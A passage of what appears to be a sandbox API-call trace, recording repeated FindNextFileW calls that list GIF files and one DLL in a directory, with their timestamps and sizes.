ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15035_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15072_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15073_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15155_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15156_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15184_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15185_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15301_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7332a00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7332a00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15302_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e24d100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4e24d100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21303_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0150b00, ftCreationTime.dwHighDateTime=0x1bd4f54, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0150b00, ftLastWriteTime.dwHighDateTime=0x1bd4f54, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21305_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ca00, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ca00, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21307_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56009300, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56009300, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0xd1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21309_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d745b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3d745b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21311_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b120100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b120100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21313_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x364d4d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x364d4d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21315_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb568300, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb568300, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21318_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7128600, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7128600, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21319_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97933d00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97933d00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x664, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21320_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b19a00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85b19a00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21321_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5c3b00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f5c3b00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21322_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b9c600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32b9c600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21323_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30576c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x30576c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21324_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df51200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2df51200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21325_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae8400, ftCreationTime.dwHighDateTime=0x1bd4f56, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dae8400, ftLastWriteTime.dwHighDateTime=0x1bd4f56, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21326_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a618b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2a618b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21328_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ff3100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x27ff3100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21330_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246baa00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x246baa00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21332_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e75c900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1e75c900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x888, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21334_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4465be00, ftCreationTime.dwHighDateTime=0x1bd4f48, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4465be00, ftLastWriteTime.dwHighDateTime=0x1bd4f48, nFileSizeHigh=0x0, nFileSizeLow=0xaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21336_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae24200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ae24200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21338_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a537400, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a537400, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21340_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89600, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7a89600, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21348_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5462cc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5462cc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21370_.GIF", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b3c00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d9b3c00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21390_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7546300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7546300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21413_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd290b00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd290b00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21427_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bc3b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97bc3b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21448_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b89da00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5b89da00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21495_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93911d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x93911d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21512_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4a4400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4a4400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21527_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15814600, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15814600, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21548_.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115855.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115856.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115875.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115876.GIF", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 1 [0074.927] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, 